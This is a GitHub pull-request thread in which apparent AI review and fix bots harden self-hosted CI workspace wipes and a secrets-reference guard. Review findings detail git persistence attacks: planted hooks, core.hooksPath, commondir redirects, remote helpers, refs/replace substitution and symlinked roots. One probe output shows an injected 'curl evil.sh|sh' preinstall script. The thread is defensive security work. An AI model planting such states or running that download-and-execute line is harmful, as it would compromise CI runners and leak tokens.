capture job 现在路由到常驻池，但只继承了车队检出前卫生步骤的一部分：移植了 serve-ab.yml 的属主修复，却漏掉了它的 'Wipe stale workspace except the shared .git before checkout' 步骤。池上按仓库的工作区跨运行存留（属主修复步骤自己的注释正依赖于此），存留的 .git 保留其执行旋钮——钩子、core.hooksPath、符号链接根——本 job 没有任何步骤移除它们。任何曾在这台机器上运行过代码的前序作业——包括一个被批准的 fork PR（pull_request 执行 fork 的 YAML，且本 workflow 的 paths 过滤器允许仅改 workflow 的 PR 把 runs-on 改写到池标签）——都可以植入 .git/hooks/post-checkout 或 .git/config 中的 core.hooksPath。属主修复只做 chown/chmod；actions/checkout 复用该 .git，其 fetch/checkout --force 从不触碰 .git/，于是植入的旋钮在一个不属于它的运行内触发，使用该运行的 GITHUB_TOKEN——并可篡改由特权 publish 工作流发布到 PR 上的截图。已对真实 git 实际执行验证：植入的可执行钩子与 core.hooksPath 配置在 git clean -ffdx + git reset --hard 之后仍然存活，并在受害作业的 checkout 期间触发；加上 serve-ab 的拆除行后两者均沉默——正是本 diff 漏掉的那一步（见证见上方英文部分的执行输出）。建议：在 'Restore workspace ownership' 与 'Checkout PR head' 之间移植 serve-ab.yml 的 'Wipe stale workspace except the shared .git before checkout' 步骤（符号链接根修复、realpath 规范化 + 路径 allowlist 守卫、仅保留 .git 的清除、rm -rf 删除 .git/hooks 与 .git/info/attributes、删除 config.worktree、按 allowlist 擦洗本地配置）。修复见证：在新增的 capture-routing describe 中加入 serve-ab 钉扎测试 'wipes the reused workspace except the shared root .git before checking out PR code' 的 visuals 对应版本——删除或降级该清理步骤必须使其变红（变异、运行、确认）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| ]), | ||
| ); | ||
| for (const [where, value] of surfaces) { | ||
| const refs = String(value ?? '').match(/secrets\.[A-Za-z_]+/g) ?? []; |
There was a problem hiding this comment.
[Suggestion] This guard has now grown a new bypass sibling in three consecutive rounds — round 1's step-env-only scope, round 4's toJSON(secrets) whole-context form (recorded at this same line in the round-4 deferred list), and now bracket/indexed access — because it regex-matches expression shapes one at a time, and the set of shapes that reference secrets without the literal dot form (secrets['NAME'], secrets[matrix.key], toJSON(secrets), plus any future grammar) is unbounded. Close the class structurally instead of enumerating shapes: flag any occurrence of the secrets context and allowlist only the exact secrets.GITHUB_TOKEN reference. Executed against the committed regex: secrets['PREVIEW_TOKEN'] and secrets[matrix.key] both return zero matches, so the assertion loop iterates nothing and the suite stays green — while the untrusted PR code this job builds and renders could read such an ambient secret from its environment and exfiltrate it through the uploaded artifact the privileged publisher posts back onto the PR. There is no leak today (the workflow references only secrets.GITHUB_TOKEN; the full suite is green) — the guardrail itself is what would slip:
"${{ secrets['PREVIEW_TOKEN'] }}" committed: [] broadened: ["secrets["]
"${{ secrets[matrix.key] }}" committed: [] broadened: ["secrets["]
"${{ toJSON(secrets) }}" committed: [] broadened: ["toJSON(secrets)"]
"${{ secrets.GITHUB_TOKEN }}" committed: ["secrets.GITHUB_TOKEN"] broadened: ["secrets.GITHUB_TOKEN"]
const refs =
String(value ?? '').match(/secrets\s*(\.[A-Za-z_]+|\[[^\]]*\])/g) ?? [];
// whole-context forms reference the entire context and can never equal the
// permitted reference — fail them outright:
assert.ok(
!/\btoJSON\s*\(\s*secrets\s*\)/.test(String(value ?? '')),
`capture ${where} references the whole secrets context; the render side must stay secret-free`,
);This finding absorbs this round's bracket-form entrance as evidence and supersedes the round-4 whole-context item. Fix witness: a fixture asserting a step env of ${{ secrets['EVIL'] }} makes the guard throw — deleting the broadened matcher must turn it green again for every non-dot shape (remove the guard, run that test, confirm it reds).
中文说明
该守卫已连续三轮长出新的绕过兄弟——第 1 轮的仅步骤级 env 覆盖、第 4 轮的 toJSON(secrets) 整体上下文形态（已记录于第 4 轮延后列表的同一行）、以及现在的括号/索引访问——因为它逐个形状地用正则匹配表达式，而不带字面点号形态即可引用 secrets 的形状集合（secrets['NAME']、secrets[matrix.key]、toJSON(secrets) 以及未来语法）是无界的。请从结构上闭合该类，而不是逐形状枚举：对 secrets 上下文的任何出现一律告警，仅允许精确的 secrets.GITHUB_TOKEN 引用。已对提交版正则实际执行：secrets['PREVIEW_TOKEN'] 与 secrets[matrix.key] 均返回零匹配，断言循环空转、套件保持绿色——而本 job 构建并渲染的不受信 PR 代码可以从环境变量读取这样的环境 secret，并通过特权发布者回帖到 PR 的上传产物将其带出。今天没有泄漏（workflow 仅引用 secrets.GITHUB_TOKEN，完整套件为绿）——会失守的是守卫本身（见证见上方英文部分的执行输出）。本发现吸收本轮的括号形态入口作为证据，并取代第 4 轮的整体上下文条目。修复见证：新增夹具断言步骤 env 为 ${{ secrets['EVIL'] }} 时守卫必须抛错——删除放宽后的匹配器必须让它在所有非点号形态下重新变绿（移除守卫、运行该测试、确认变红）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
🤖 Addressed the latest review feedback (round 6/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 6/100 轮）。改动内容与我反驳保留之处如下： Round summaryCritical-only mode is active this window. Both findings were actionable this round: the Critical inline comment directly, and the Suggestion because it attaches to a Findings and dispositions
Notes
Verification
中文说明轮次摘要本窗口已进入仅处理 Critical 的模式。本轮两条反馈均可执行：Critical 行内评论直接可执行；Suggestion 因隶属于一次 反馈与处置
说明
验证
Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete. The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. ( 中文说明已进入仅处理 Critical 的模式：已完成 5 个产生改动的轮次。本轮可执行区域已排除下方非 Critical 反馈；这些条目保持开放，留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后；达到预算的作者（如有）在下方点名。（评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- ffmpeg-install step comment re-asserting the disproved uniform-RHEL premise — already reported (round-4 deferred list, review 5037369574; round-5 body duplicate note as R5-6, review 5041047375)
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 10.
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Deferred under the convergence posture (round 6, not a blocker) — recorded, not requested in this round:
.github/scripts/ci-runner-routing.test.mjs:728 — [probe] no identity assertion links the two byte-identical wipe copies' test pins (the visuals wipe middle is pinned by nothing).github/scripts/ci-runner-routing.test.mjs:852 — [review] ambient-secret guard surfaces omit step.name / step.if / job-level name (runner expands step names against the secrets context).github/scripts/ci-runner-routing.test.mjs:296 — [probe] secrets matcher is case-sensitive though the runner evaluator is case-insensitive — SECRETS.X / Secrets.X bypass the guard
Convergence: round 6 posted 1 inline comment(s), 1 of them reported for the first time; the previous round posted 2 (2 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 5; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查：反向审计——在 10 轮的反审轮数上限内未收敛。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
收敛姿态下延后（第 6 轮，非阻断）——已记录，本轮不要求修改：共 3 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 6 轮发布了 1 条行内评论，其中 1 条是首次提出；上一轮发布了 2 条（其中 2 条首次提出）。发现反复回到同一批文件：.github/workflows/web-shell-visuals.yml（第 5 轮已出过发现，本轮又有 1 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.2)
| find "$WS" -mindepth 1 -maxdepth 1 ! \( -name '.git' -type d \) -exec rm -rf {} + | ||
| rm -rf "$WS/.git/hooks" "$WS/.git/info/attributes" |
There was a problem hiding this comment.
[Critical] R5-1: (fix-induced) The round-5 fix for this thread added the 'Wipe stale workspace except the shared .git before checkout' step — and the added step's kept-.git defang is a hand-rolled guard that does not close the planted-state class it claims to close (its own comment says "git's exec knobs are an open-ended class; an allowlist closes the class"). Every entrance below was probe-verified against the unmodified step text, and each violates the step's own pin "self-hosted reuse must not bleed one PR into the next":
.git/commondir/.git/shalloware never removed — a planted commondir repoints hooks, config, refs, and objects to an attacker-controlled gitdir outside the workspace; the wipe then deletes the WRONG hooks dir and scrubs the attacker's config file, and the next job's checkout fires the planted hook. The fleet's ownresanitize-git-config.shremoves exactly these two files first for this reason.- The config-scrub allowlist keeps the entire
remote\.family — a plantedremote.origin.vcssurvives, and the next job'sgit fetch originexecs the attacker's remote helper (git-remote-<vcs>). - The allowlist keeps
core.worktree— a planted redirect sends the next reuse-checkout's file writes andclean -ffdxdeletions outside the runner workspace. - A planted
.git/config.lockjams the scrub's entire write path — every--unset-allfails with "could not lock config file" and is swallowed by|| true— so even keys the scrub targets (e.g.core.hooksPath) survive, silently, with no annotation. - The raw
$RUNNER_WORKSPACEroot is never validated — a planted root symlink is canonicalized THROUGH the link, making the"$RWS"/*containment allowlist tautological: either a silent wipe of a directory outside the real runner workspace, or a persistent lane DoS (the runner daemon never repairs the plant). - The refs layer is preserved wholesale ("Objects and refs … untouched") — a planted
refs/replace/*entry silently substitutes file content in the NEXT PR's checkout (actions/checkout v6.0.3 passes no--no-replace-objects): the reviewed diff shows the clean file whilenpm ciruns the injected lifecycle scripts.
Any prior pool job that ran attacker code — a same-repo PR or write-access fork author (the exact lanes this PR routes onto the pool), or a compromised dependency in any pool lane — can plant one or more of these states in the shared per-repo workspace; the wipe exits 0, and the next job executes the plant with that job's token, persisting on the machine until a human intervenes.
Witness (probe arms against the unmodified step, extracted verbatim; the named fix flips each arm):
commondir arm: BUGGY: HOOK-FIRED post-checkout; hooks resolve into attacker gitdir
FIXED (rm -f commondir/shallow): no hook fired
config.lock: JAMMED: core.hookspath survives scrub; HOOK VERDICT: FIRED
no-lock control: clean; rm -f config.lock arm: no hook fired
core.worktree: PR file in planted: YES; WS empty of files: YES; clean: Removing victim.txt (outside workspace)
replace ref: materialized package.json: {"name":"EVIL","scripts":{"preinstall":"curl evil.sh|sh"}}
strip-refs/replace arm: clean content
root symlink: arm A: exit=1, root still symlink: YES (persistent; daemon 'Set up job' fails)
arm B: exit=0 (silent), evil marker1 deleted: YES (outside runner workspace)
remote.*.vcs: git fetch origin execs git-remote-evilprobe origin <url>; narrowed-allowlist arm unsets it
actions/checkout df4cb1c0 (v6.0.3): zero commondir refs; no --no-replace-objects; no --work-tree
Close the class structurally instead of entrance by entrance — mirror the fleet's hardened sanitizer (.github/scripts/resanitize-git-config.sh) and extend it where it is also incomplete (it does not handle refs/replace, core.worktree, or the root plant):
rm -f "$WS/.git/commondir" "$WS/.git/shallow" # before the defang rms and the config sweep
# narrow remote\. to remote\..+\.(url|fetch|pushurl); drop |worktree from the core\.(...) group
rm -f "$WS/.git/config.lock" # before any git config write
# judge the raw $RUNNER_WORKSPACE root like $WS (heal -L/non-dir, canonicalize the PARENT,
# containment-check, rm + mkdir fail-closed) BEFORE realpath-ing it into RWS
{ git --git-dir="$WS/.git" for-each-ref --format='%(refname)' refs/replace; } | \
while IFS= read -r ref; do git --git-dir="$WS/.git" update-ref -d "$ref"; done
rm -rf "$WS/.git/refs/replace"Apply the same edit to serve-ab.yml's byte-identical copy in the same commit. Fix witness: extend both wipe byte-pin tests so the pinned tails include the new defang lines, and add an exec fixture that plants each state (commondir; config.lock + hooksPath + hook; replace ref; root symlink) and asserts the defanged state and no hook fire — removing any of the new lines must turn the corresponding pin red.
中文说明
第 5 轮针对本线程的修复新增了 'Wipe stale workspace except the shared .git before checkout' 步骤——但该步骤对保留 .git 的拆除是手工编写的守卫，并未闭合它声称要闭合的被植入状态类（其自身注释写道"git 的执行旋钮是开放类；allowlist 闭合该类"）。以下每个入口均已对未改动的步骤原文做了探针验证，且都违反了该步骤自己的钉扎"自持复用不得把一个 PR 渗入下一个 PR"：
- 从不删除
.git/commondir/.git/shallow—— 植入的 commondir 会把钩子、配置、refs、objects 重新指向工作区之外的攻击者 gitdir；wipe 随后删除的是错误的钩子目录、擦洗的是攻击者的配置文件，下一个作业的 checkout 会触发被植入的钩子。车队自己的resanitize-git-config.sh正是因此优先删除这两个文件。 - 配置擦洗的 allowlist 保留了整个
remote\.家族 —— 植入的remote.origin.vcs存活，下一个作业的git fetch origin会执行攻击者的 remote helper（git-remote-<vcs>）。 - allowlist 保留了
core.worktree—— 植入的重定向会把下一次复用 checkout 的文件写入与clean -ffdx删除送到 runner 工作区之外。 - 植入的
.git/config.lock会卡死擦洗的整个写入路径 —— 每个--unset-all以 "could not lock config file" 失败并被|| true吞掉 —— 连擦洗本要处理的键（如core.hooksPath）也会存活，且完全无声、无任何注解。 - 从不校验原始
$RUNNER_WORKSPACE根 —— 植入的根符号链接会透过链接本身被规范化，使"$RWS"/*包含 allowlist 变成同义反复：要么无声地清除真实 runner 工作区之外的目录，要么造成持久的车道拒绝服务（runner 守护进程从不修复该植入）。 - refs 层被整体保留（"Objects and refs … untouched"）—— 植入的
refs/replace/*会在下一个 PR 的 checkout 中无声替换文件内容（actions/checkout v6.0.3 不传--no-replace-objects）：受审 diff 显示的是干净文件，而npm ci执行的已是被注入的生命周期脚本。
任何曾在池上运行过攻击者代码的前序作业——同仓库 PR、有写权限的 fork 作者（正是本 PR 路由到池上的车道），或任何池车道中被污染的依赖——都可以在共享的按仓库工作区中植入上述一种或多种状态；wipe 以退出码 0 "成功"，下一个作业便会以该作业的 token 执行植入，且持续存在直到人工介入。
修复方向：不要逐入口修补，而应结构性闭合该类——对齐车队加固消毒器（.github/scripts/resanitize-git-config.sh）并补齐它同样缺失的部分（它不处理 refs/replace、core.worktree 与根植入）：删除 commondir/shallow；把 remote\. 收窄为 remote\..+\.(url|fetch|pushurl)；从 core\.(...) 组中去掉 |worktree；在任何 git config 写入前删除 .git/config.lock；在把 $RUNNER_WORKSPACE realpath 进 RWS 之前，像对待 $WS 一样判断原始根（符号链接/非目录则修复：规范化父目录、包含性检查、rm + mkdir 失败即关闭）；剥离 refs/replace/*（for-each-ref + update-ref -d，并 rm -rf "$WS/.git/refs/replace"）。同一提交中对 serve-ab.yml 逐字节相同的副本做同样修改。修复见证：扩展两处 wipe 字节钉扎测试使其钉住的尾部包含新增拆限行，并新增一个执行夹具分别植入各状态（commondir；config.lock + hooksPath + 钩子；replace ref；根符号链接），断言拆除后的状态且钩子不触发——删除任一新增行必须使对应钉扎变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
🤖 Addressed the latest review feedback (round 7/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 7/100 轮）。改动内容与我反驳保留之处如下： Round 6 — Critical finding on the kept-
|
🩺 serve daemon A/BBuilt the PR base vs this PR head ✅ No response changes against the PR base across 12 scenario(s). — Qwen Code · serve A/B |
|
Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with |
|
🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下： Round result: no actionCritical-only round (5 change-producing rounds complete; counting window at src 273 / test 795 net lines vs 400/400 budgets). The growth audit ran first and recorded What was actionable this round
The
|
|
🔀 Base updated: red check(s) [review-pr] pass on current main — merged current main via update-branch; CI will re-run. 中文说明🔀 已更新 base：红色检查 [review-pr] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main，CI 将重新运行。 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- RUNNER_ENVIRONMENT missing from the env-override pin list — already reported (round-5 deferred list, review 5041047375)
Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 finding was rejected after verification).
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Deferred under the convergence posture (round 7, not a blocker) — recorded, not requested in this round:
.github/scripts/ci-runner-routing.test.mjs:1345 — [probe] ambient-credential scan enumerates shapes/surfaces one by one; close the class by scanning every expression reference against the single permitted reference.github/workflows/serve-ab.yml:153 — [probe] degenerate-root refusal dropped after the post-realpath strip — RWS can empty and containment becomes the match-all /*.github/workflows/serve-ab.yml:131 — [probe] root-heal denylist omits the usrmerge symlink roots /bin /sbin /lib*.github/workflows/web-shell-visuals.yml:286 — [probe] stale git lock files from a SIGKILLed run survive the wipe and wedge every later checkout on that machine.github/scripts/ci-runner-routing.test.mjs:1217 — [probe] root-heal annotation-forging defence has no behavioural witness for the root arm
Convergence: round 7 posted 1 inline comment(s), 1 of them reported for the first time; the previous round posted 1 (1 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 5; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)
Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (1 Critical(s)), the rate of first-time findings is not falling (this round 1, previous 1), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):
| standing Critical | attack surface | attacker-dependency | blast radius |
|---|---|---|---|
| (each standing Critical) | … | … | … |
Advisory only — it does not block this review.
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查：reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 finding was rejected after verification)。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
收敛姿态下延后（第 7 轮，非阻断）——已记录，本轮不要求修改：共 5 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 7 轮发布了 1 条行内评论，其中 1 条是首次提出；上一轮发布了 1 条（其中 1 条首次提出）。发现反复回到同一批文件：.github/workflows/web-shell-visuals.yml（第 5 轮已出过发现，本轮又有 1 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，可以避免循环反复推导同一组发现；本 PR 的评审已解析为 critical 发布下限。（仅为观察——本轮评审未因此扣留任何内容。）
残余风险：本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在（本轮 1 条 Critical），首次发现的速率没有下降（本轮 1，上一轮 1），且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议：land-with-residual-risk——出口是 maintainer 的风险接受决定（合入并承担残余风险），而非再开一轮评审。供该决定使用的残余风险清单（maintainer 填写）：按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| git --git-dir="$WS/.git" config --local --unset-all extensions.worktreeConfig 2>/dev/null || true | ||
| { git --git-dir="$WS/.git" config --local --name-only --list 2>/dev/null || true; } | { grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|hidedotfiles|protecthfs|protectntfs)|remote\..+\.(url|fetch|pushurl)|branch\.|extensions\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' || true; } | while IFS= read -r key; do git --git-dir="$WS/.git" config --local --unset-all "$key" 2>/dev/null || true; done | ||
| if [ -d "$WS/.git" ]; then | ||
| { git --git-dir="$WS/.git" for-each-ref --format='%(refname)' refs/replace; } | while IFS= read -r ref; do git --git-dir="$WS/.git" update-ref -d "$ref"; done |
There was a problem hiding this comment.
[Critical] R5-1: (fix-induced) the round-6 fix closed all six named entrances of the kept-.git defang — re-verified by execution this round — but the bare refs/replace strip it added opened a new planted-state entrance at the same site, and the planted-state class additionally remains open via an ancestor-symlink entrance.
Any pool job can run attacker code by this workflow's own routing design. Such a job can leave $WS/.git/config as a symlink to an existing non-config file under RUNNER_TEMP (which the workflow itself notes outlives a run on the pool): every guarded defang passes (the guarded sweep no-ops because git config --list dies on the unparseable target), then the new UNGUARDED bare for-each-ref strip dies with fatal: bad config line 1 (exit 128 under the step's bash -eo pipefail), nothing in any later step removes or replaces .git/config, and every subsequent serve-ab / web-shell-visuals job on that runner fails at the wipe permanently, until manual cleanup. With a parseable out-of-workspace target the sweep's --unset-alls instead rewrite the outside file through the link, so local-config writes escape the containment this step exists to bound. At the previously reviewed head this plant self-healed: actions/checkout v6.0.3's tryGetFetchUrl reads the broken config, gets an empty URL, and removes-and-recreates the directory — so the diff converts a self-healing state into a recurring job-kill (the step comment's "the next checkout would fail on it anyway" does not hold for this state: checkout does not fail, it recreates).
Second entrance, same class: a symlink planted at an ANCESTOR of $RUNNER_WORKSPACE (e.g. the runner's _work directory) re-roots realpath and every containment check — the root heal never fires (the root's last component is a real directory), the "$RWS"/* allowlist matches tautologically, and the wipe silently deletes files outside the real workspace with exit 0 and no annotation.
Witness (probes against the real step text extracted from the committed YAML; git 2.43):
BASE (52f64f21 step): wipe exit=0, plant survives, checkout removes-and-recreates (self-heal)
PR (e774aabb55): JOB 1 exit 128 — fatal: bad config line 1 in file …/.git/config — plant SYMLINK SURVIVES
JOB 2 exit 128 — plant survives (permanent wedge)
PR arm(b): wipe exit=0, outside config target rewritten (hooksPath+user.name removed), $WS/.git/config still a symlink
ancestor arm: _work symlinked — heal never fires, wipe exit 0, no annotation, victim file outside the real workspace DELETED
FLIP (symlinked-config guard + non-canonical-RWS refusal): both arms exit 0, plants removed, outside target unchanged, victim survives
Close the class structurally instead of entrance by entrance, in BOTH byte-identical copies (web-shell-visuals.yml and serve-ab.yml). Next to the config.lock removal, delete a symlinked .git/config before any git call (a git-created config is a plain file, so a link there is state a previous job chose):
if [ -L "$WS/.git/config" ]; then
echo "::warning::removing planted symlink at ${WS}/.git/config"
rm -f -- "$WS/.git/config"
fi(not a [ -L … ] && { …; } one-liner — under the step's -e a false test fails the step), and fail closed when $RUNNER_WORKSPACE is not canonical before the heal canonicalizes it (refuse with an ::error:: annotation when any ancestor component of $RWS is a symlink) — which closes the ancestor arm and any sibling that re-roots realpath. Extend the byte-pin tails in the same edit and keep the two copies executable-line-identical.
Fix witness: add exec fixtures beside the existing wipe witnesses in .github/scripts/ci-runner-routing.test.mjs — one plants a symlinked .git/config (unparseable and parseable out-of-workspace targets), one plants an ancestor symlink above RUNNER_WORKSPACE, both asserting the wipe exits 0, the plants are gone, and the next checkout is clean; removing either new guard must turn the corresponding fixture red (mutate, run, confirm).
中文说明
[Critical] R5-1：（修复引入）第 6 轮修复闭合了保留 .git 拆防的全部六个命名入口——本轮已重新执行验证——但它新增的裸 refs/replace 剥离在同一位置打开了一个新的被植入状态入口；此外该类仍通过祖先符号链接入口保持开放。
任何池上作业都可能运行攻击者代码（这正是本工作流自身的路由设计）。这样的作业可以把 $WS/.git/config 留成一个指向 RUNNER_TEMP 下某个现存非配置文件（工作流自己注明该目录在池上跨运行存留）的符号链接：所有带守卫的拆防都会通过（守卫扫描因 git config --list 死于不可解析目标而空转），随后新增的无守卫裸 for-each-ref 剥离以 fatal: bad config line 1 死去（在步骤的 bash -eo pipefail 下退出码 128），后续任何步骤都不会删除或替换 .git/config，该 runner 上所有后续 serve-ab / web-shell-visuals 作业都会永久死在清理步骤，直到人工清理。若链接指向工作区之外一个可解析的配置，擦洗的 --unset-all 会透过链接改写外部文件，本地配置写入由此逃出本步骤赖以存在的包含边界。在受审前的 head 上，该植入会自愈：actions/checkout v6.0.3 的 tryGetFetchUrl 读到损坏配置得到空 URL，会删除目录并重新克隆——因此本 diff 把一个自愈状态变成了复发的作业杀死（步骤注释中"下一个 checkout 反正会失败"对该状态不成立：checkout 不会失败，它会重建）。
同类的第二个入口：植入在 $RUNNER_WORKSPACE 任一祖先（例如 runner 的 _work 目录）上的符号链接会重新定根 realpath 与所有包含性检查——根修复不会触发（根的末段是真实目录），"$RWS"/* allowlist 变成同义反复，清理会以退出码 0 无声删除真实工作区之外的文件，且无任何注解。
见证（对提交 YAML 中提取的真实步骤原文执行探针；git 2.43）：BASE（52f64f21 步骤）退出 0、植入存活、checkout 删除并重建（自愈）；PR（e774aabb55）连续两个模拟作业均以 128 死于 fatal: bad config line 1、植入存活（永久楔子）；可解析外部目标臂：清理退出 0、外部配置文件被改写、符号链接存活；祖先臂：_work 符号链接化后根修复不触发、清理退出 0、无注解、工作区外受害文件被删；翻转（新增符号链接配置守卫 + 拒绝非规范化 RWS）：两臂均退出 0、植入被清除、外部目标不变、受害文件存活。
修复方向：在两处逐字节相同的副本（web-shell-visuals.yml 与 serve-ab.yml）中结构性闭合该类，而非逐入口修补：在 config.lock 删除行旁、任何 git 调用之前删除符号链接化的 .git/config（git 创建的 config 是普通文件，链接必为前序作业所植入）；并在根修复规范化之前，对非规范化的 $RUNNER_WORKSPACE 失败即关闭（$RWS 任一祖先分量为符号链接时以 ::error:: 注解拒绝）——闭合祖先臂及一切重新定根 realpath 的兄弟入口。同一编辑中扩展字节钉扎尾部，并保持两份副本可执行行一致。
修复见证：在 .github/scripts/ci-runner-routing.test.mjs 现有 wipe 见证旁新增执行夹具——一个植入符号链接化的 .git/config（不可解析目标与可解析的工作区外目标两种形态），一个植入 RUNNER_WORKSPACE 上方的祖先符号链接，均断言清理退出码 0、植入被清除、下一次 checkout 干净；删除任一新守卫必须使对应夹具变红（变异、运行、确认）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
🤖 Addressed the latest review feedback (round 1/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 1/100 轮）。改动内容与我反驳保留之处如下： 🤖 Addressed the latest review feedback (round 8/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 8/100 轮）。改动内容与我反驳保留之处如下： Round 7 — Critical finding on the kept-
|
| Finding | Resolved by |
|---|---|
| [rc:3861481712] stale capture dirs on the pool | 'Clear stale capture dirs' step exists, unconditional, ordered before every capture |
| [rc:3861481731] missing-library newline loss | missing="${missing}${unresolved}"$'\n' accumulation |
[rc:3861481744] parse inside describe callback |
visualsDoc/visualsCaptureJob parsed at module top level |
| [rc:3861481754] keyword pins instead of wiring | superseded by the exec-based gate suite |
| [rc:3866537969] text pins instead of behavior | runInstallStep executes the real step with stubbed tools and asserts exit codes |
| [rc:3866537980] size baseline under-recorded | baseline entries exact again (40235/25994 after this round's growth) |
| [rc:3866538003] scan loop pasted twice | scan_chromium_libs() shell function, two call sites |
| [rc:3867844061] apt-get lane probe on Ubuntu pool members | lane gated on RUNNER_ENVIRONMENT, Debian provisioning arm, exec witness |
| [rc:3867844068] zero-binary vacuous gate | scanned counter, exit 1 + ::error:: when zero |
| [rc:3867844072] env-override loop step scope + headless_shell arm | clear/heal step env maps in the loop; stub ldd reports a distinct lib per binary arm |
| [rc:3868842059] duplicate substitutions entry | single repository-clause entry remains |
| [rc:3871927980] missing pre-checkout wipe | wipe step ported from serve-ab.yml into the capture job |
| [rc:3871927989] ambient-secret guard shape enumeration | guard flags every secrets occurrence, allowlists only secrets.GITHUB_TOKEN; shape fixtures cover bracket/indexed/whole-context |
[rc:3874630223] six kept-.git defang entrances |
closed in round 6, re-verified by the round-7 review's own execution |
Failed check: Serve A/B (ubuntu-latest, Node 22.x) — diagnosed from evidence; not reproducible from this runner
- The check failed in 13 seconds (06:11:54Z → 06:12:07Z) on the current head
e774aabb55— before any npm/build phase of a ~20-minute job, i.e. at job setup or the first pool steps. - The
serve-ab.ymltext at this head is byte-identical to the head of the previous, green Serve A/B run (6103909, ✅ "No response changes across 12 scenario(s)"); the merge between them brought onlye2e.ymland web-shell source changes. So the failure is not a YAML regression introduced by the merge. - The timing and the pool routing match the planted-state wedge class the round-7 finding documents (a symlinked
.git/configkills the wipe step permanently on that runner; a corrupted runner root kills the daemon's 'Set up job' — the finding's own witness shows both shapes). The sibling visuals job on the same push succeeded, which fits a wedge on one pool member while another member stays healthy. - This round's fix closes exactly that class inside the wipe; an already-wedged machine additionally needs an operator cleanup or a re-dispatch onto a healthy member. The CI run's logs are not accessible from this runner (no GitHub credentials), so the check itself remains environment-side verification — the workflow's independent CI is the final gate.
Issue-level comments — no code action
- The visuals preview note for head
